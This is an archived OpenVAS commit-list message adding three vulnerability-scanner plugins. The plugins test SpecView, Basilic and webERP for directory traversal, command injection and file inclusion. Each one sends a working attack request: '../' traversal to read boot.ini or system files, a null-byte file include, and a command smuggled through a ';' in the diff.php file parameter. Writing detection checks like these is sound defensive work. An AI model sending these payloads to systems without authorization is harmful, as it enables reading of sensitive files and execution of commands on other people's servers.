[Openvas-commits] r13671 - in trunk/openvas-plugins: . scripts
scm-commit at wald.intevation.org
scm-commit at wald.intevation.org
Mon Jul 2 13:43:03 CEST 2012
Author: mime
Date: 2012-07-02 13:43:02 +0200 (Mon, 02 Jul 2012)
New Revision: 13671
Added:
trunk/openvas-plugins/scripts/gb_SpecView_54243.nasl
trunk/openvas-plugins/scripts/gb_basilic_54234.nasl
trunk/openvas-plugins/scripts/gb_weberp_54236.nasl
Modified:
trunk/openvas-plugins/ChangeLog
Log:
Added new plugins
Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog 2012-07-01 21:19:07 UTC (rev 13670)
+++ trunk/openvas-plugins/ChangeLog 2012-07-02 11:43:02 UTC (rev 13671)
@@ -1,3 +1,10 @@
+2012-07-02 Michael Meyer <michael.meyer at greenbone.net>
+
+ * scripts/gb_basilic_54234.nasl,
+ scripts/gb_weberp_54236.nasl,
+ scripts/gb_SpecView_54243.nasl:
+ Added new plugins.
+
2012-06-29 Michael Meyer <michael.meyer at greenbone.net>
* scripts/gb_openssl_detect_lin.nasl:
Added: trunk/openvas-plugins/scripts/gb_SpecView_54243.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_SpecView_54243.nasl (rev 0)
+++ trunk/openvas-plugins/scripts/gb_SpecView_54243.nasl 2012-07-02 11:43:02 UTC (rev 13671)
@@ -0,0 +1,87 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# SpecView Web Server Directory Traversal Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103506);
+ script_bugtraq_id(54243);
+ script_tag(name:"cvss_base", value:"5.0");
+ script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/AU:N/C:P/I:N/A:N");
+ script_version ("$Revision$");
+
+ script_name("SpecView Web Server Directory Traversal Vulnerability");
+
+desc = "Overview:
+SpecView is prone to a directory-traversal vulnerability because it
+fails to properly sanitize user-supplied input.
+
+Remote attackers can use specially crafted requests with directory-
+traversal sequences ('../') to retrieve arbitrary files in the context
+of the application.
+
+Exploiting this issue may allow an attacker to obtain sensitive
+information that could aid in further attacks.
+
+References:
+http://www.securityfocus.com/bid/54243";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2012-07-02 12:15:35 +0200 (Mon, 02 Jul 2012)");
+ script_description(desc);
+ script_summary("Determine if it is possible to read the boot.ini");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+banner = get_http_banner(port:port);
+if("SpecView" >!< banner)exit(0);
+
+url = '/.../.../.../.../.../.../boot.ini';
+
+if(http_vuln_check(port:port, url:url,pattern:"\[boot loader\]")) {
+
+ security_warning(port:port);
+ exit(0);
+
+}
+
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_SpecView_54243.nasl
___________________________________________________________________
Added: svn:keywords
+ Id Revision Date
Added: trunk/openvas-plugins/scripts/gb_basilic_54234.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_basilic_54234.nasl (rev 0)
+++ trunk/openvas-plugins/scripts/gb_basilic_54234.nasl 2012-07-02 11:43:02 UTC (rev 13671)
@@ -0,0 +1,95 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Basilic 'diff.php' Remote Command Execution Vulnerability
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103504);
+ script_bugtraq_id(54234);
+ script_tag(name:"cvss_base", value:"8.5");
+ script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/AU:N/C:C/I:P/A:P");
+ script_version ("$Revision$");
+
+ script_name("Basilic 'diff.php' Remote Command Execution Vulnerability");
+
+desc = "Overview:
+Basilic is prone to a remote command-execution vulnerability.
+
+An attacker can exploit this issue to execute arbitrary commands
+within the context of the vulnerable application.
+
+Basilic 1.5.14 is vulnerable; other versions may also be affected.
+
+References:
+http://www.securityfocus.com/bid/54234
+http://artis.imag.fr/Software/Basilic/";
+
+ script_tag(name:"risk_factor", value:"Critical");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2012-07-02 10:46:56 +0200 (Mon, 02 Jul 2012)");
+ script_description(desc);
+ script_summary("Determine if it is possible to execute a command");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/basilic",cgi_dirs());
+
+commands = exploit_commands();
+
+foreach dir (dirs) {
+
+ foreach cmd (keys(commands)) {
+
+ url = string(dir, "/Config/diff.php?file=;",commands[cmd],"&new=1&old=2");
+
+ if(http_vuln_check(port:port, url:url,pattern:cmd)) {
+
+ security_hole(port:port);
+ exit(0);
+
+ }
+
+ }
+}
+
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_basilic_54234.nasl
___________________________________________________________________
Added: svn:keywords
+ Id Revision Date
Added: trunk/openvas-plugins/scripts/gb_weberp_54236.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_weberp_54236.nasl (rev 0)
+++ trunk/openvas-plugins/scripts/gb_weberp_54236.nasl 2012-07-02 11:43:02 UTC (rev 13671)
@@ -0,0 +1,96 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# webERP Multiple Remote and Local File Include Vulnerabilities
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2012 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103505);
+ script_bugtraq_id(54236);
+ script_tag(name:"cvss_base", value:"5.0");
+ script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/AU:N/C:P/I:N/A:N");
+ script_version ("$Revision$");
+
+ script_name("webERP Multiple Remote and Local File Include Vulnerabilities");
+
+desc = "Overview:
+webERP is prone to multiple remote and local file-include
+vulnerabilities because it fails to sufficiently sanitize user-
+supplied input.
+
+An attacker may leverage these issues to execute arbitrary server-side
+script code that resides on an affected computer or in a remote
+location with the privileges of the web server process. This may
+facilitate unauthorized access.
+
+webERP 4.08.1 and prior are vulnerable.
+
+References:
+http://www.securityfocus.com/bid/54236
+http://www.weberp.org/HomePage";
+
+ script_tag(name:"risk_factor", value:"Medium");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2012-07-02 11:58:46 +0200 (Mon, 02 Jul 2012)");
+ script_description(desc);
+ script_summary("Determine if it is possible to read a local file");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2012 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+if(!can_host_php(port:port))exit(0);
+
+dirs = make_list("/webERP","/weberp","/erp",cgi_dirs());
+files = traversal_files();
+
+foreach dir (dirs) {
+ foreach file (keys(files)) {
+
+ url = string(dir, "/index.php?PathPrefix=",crap(data:"../",length:9*6),files[file],"%00");
+
+ if(http_vuln_check(port:port, url:url,pattern:file)) {
+
+ security_warning(port:port);
+ exit(0);
+
+ }
+ }
+}
+
+exit(0);
+
Property changes on: trunk/openvas-plugins/scripts/gb_weberp_54236.nasl
___________________________________________________________________
Added: svn:keywords
+ Id Revision Date
More information about the Openvas-commits
mailing list